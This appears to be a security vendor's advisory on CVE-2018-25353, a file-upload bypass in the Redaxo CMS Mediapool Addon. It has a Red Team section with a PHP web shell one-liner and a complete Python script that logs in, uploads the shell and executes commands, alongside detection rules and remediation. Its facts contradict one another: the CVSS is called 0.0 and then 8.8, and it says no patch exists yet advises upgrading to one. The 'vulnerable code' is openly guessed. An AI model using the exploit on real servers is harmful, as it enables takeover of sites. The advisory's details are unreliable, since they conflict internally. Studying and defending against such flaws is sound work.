CVE-2018-25353

Executive Summary

CVE-2018-25353 is an arbitrary file upload vulnerability in the Redaxo CMS Mediapool Addon version 5.5.1 and older. Authenticated users with editor-level accounts can bypass the file extension blacklist by using obfuscated extensions such as .php71 or .php53. This allows the upload of executable PHP files, leading to remote code execution on the server. The vulnerability has a CVSS score of 0.0 (unscored) but is assessed as critical due to the potential for full system compromise. No official patch has been released, and the exploit is publicly known.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a PHP-based CMS (Redaxo) and its Mediapool Addon.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – editor account
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)
• Base Score: 8.8 (High)

The threat level is High due to the low complexity and the ability for authenticated editors to execute arbitrary code.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of the Mediapool Addon. The application uses a blacklist-based approach to block dangerous file extensions (e.g., .php, .php5). However, the blacklist is incomplete and does not account for obfuscated extensions like .php71 or .php53. When a file with such an extension is uploaded, the server may still interpret it as a PHP script if the web server is configured to handle these extensions (e.g., via AddType or mod_mime). This allows an attacker to upload a web shell and execute arbitrary PHP code.

The attack flow:

1. Authenticate as an editor.
2. Craft a PHP web shell with an obfuscated extension (e.g., shell.php71).
3. Upload the file via the Mediapool interface.
4. Access the uploaded file via its URL to trigger execution.

Vulnerable vs. Patched Code

Vulnerable Code (Redaxo CMS Mediapool Addon <= 5.5.1): The file upload handler likely uses a simple blacklist check like:

$blacklist = array('php', 'php5', 'phtml');
$ext = pathinfo($filename, PATHINFO_EXTENSION);
if (in_array($ext, $blacklist)) {
    die('Blocked');
}

This fails to block extensions like php71 or php53.

Patched Code (Hypothetical): A secure implementation would use a whitelist of allowed extensions or a more robust blacklist that normalizes extensions:

$allowed = array('jpg', 'png', 'gif', 'pdf');
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
    die('Blocked');
}

Additionally, the server should be configured to not execute PHP in upload directories.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A Redaxo CMS instance with Mediapool Addon <= 5.5.1.
• Editor-level credentials.

Steps:

1. Log in to the Redaxo admin panel.
2. Navigate to the Mediapool section.
3. Create a PHP web shell (e.g., shell.php71):

   <?php system($_GET['cmd']); ?>
   

4. Upload the file. The blacklist will not block .php71.
5. Access the uploaded file via its URL, e.g., http://target.com/mediapool/shell.php71?cmd=id.
6. Execute arbitrary commands.

Example Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login as editor
login_data = {"username": "editor", "password": "password"}
session.post(target + "/redaxo/index.php?page=login", data=login_data)

# Upload shell
files = {"file": ("shell.php71", "<?php system($_GET['cmd']); ?>", "application/x-php")}
session.post(target + "/redaxo/index.php?page=mediapool&subpage=upload", files=files)

# Execute command
r = session.get(target + "/mediapool/shell.php71?cmd=id")
print(r.text)

Blue Team (Defender)

Detection:

• Monitor file upload logs for unusual extensions (e.g., .php71, .php53).
• Use file integrity monitoring to detect new files in upload directories.
• Implement web application firewall (WAF) rules to block obfuscated PHP extensions.

Prevention:

• Upgrade to a patched version of Redaxo CMS.
• Implement a whitelist of allowed file extensions.
• Configure the web server to deny execution of PHP files in upload directories (e.g., via .htaccess or Nginx config).
• Use a security plugin or custom code to validate file extensions more strictly.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example) e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• File Paths: /mediapool/shell.php71, /mediapool/evil.php53
• Network Traffic: HTTP POST requests to /redaxo/index.php?page=mediapool&subpage=upload with file extensions like .php71.
• Log Entries: Upload logs showing files with obfuscated PHP extensions.

Detection Engineering

YARA Rule

rule CVE_2018_25353_Webshell {
    meta:
        description = "Detects obfuscated PHP webshells uploaded via CVE-2018-25353"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $obfuscated_ext = /\.php\d{2}$/
    condition:
        $php_tag and $system_call and $obfuscated_ext
}

Sigma Rule

title: CVE-2018-25353 - Obfuscated PHP File Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of files with obfuscated PHP extensions (e.g., .php71)
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'page=mediapool&subpage=upload'
        cs-uri-extension: 
            - '.php71'
            - '.php53'
            - '.php72'
    condition: selection
falsepositives:
    - Legitimate files with similar extensions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2018-25353 - Obfuscated PHP File Upload"; flow:to_server,established; content:"POST"; http_method; content:"page=mediapool&subpage=upload"; http_uri; pcre:"/\.php\d{2}$/U"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade Redaxo CMS to a version newer than 5.5.1. If no update is available, apply a manual patch to the file upload handler to use a whitelist of allowed extensions.
2. Configuration: Configure the web server to deny execution of PHP files in the upload directory (e.g., add php_flag engine off in .htaccess for Apache).
3. Monitoring: Enable logging of all file uploads and monitor for suspicious extensions.
4. WAF: Deploy a web application firewall with rules to block obfuscated PHP extensions.
5. Access Control: Restrict editor accounts to only necessary permissions and review user roles.

Valters IT
Securing Digital Frontiers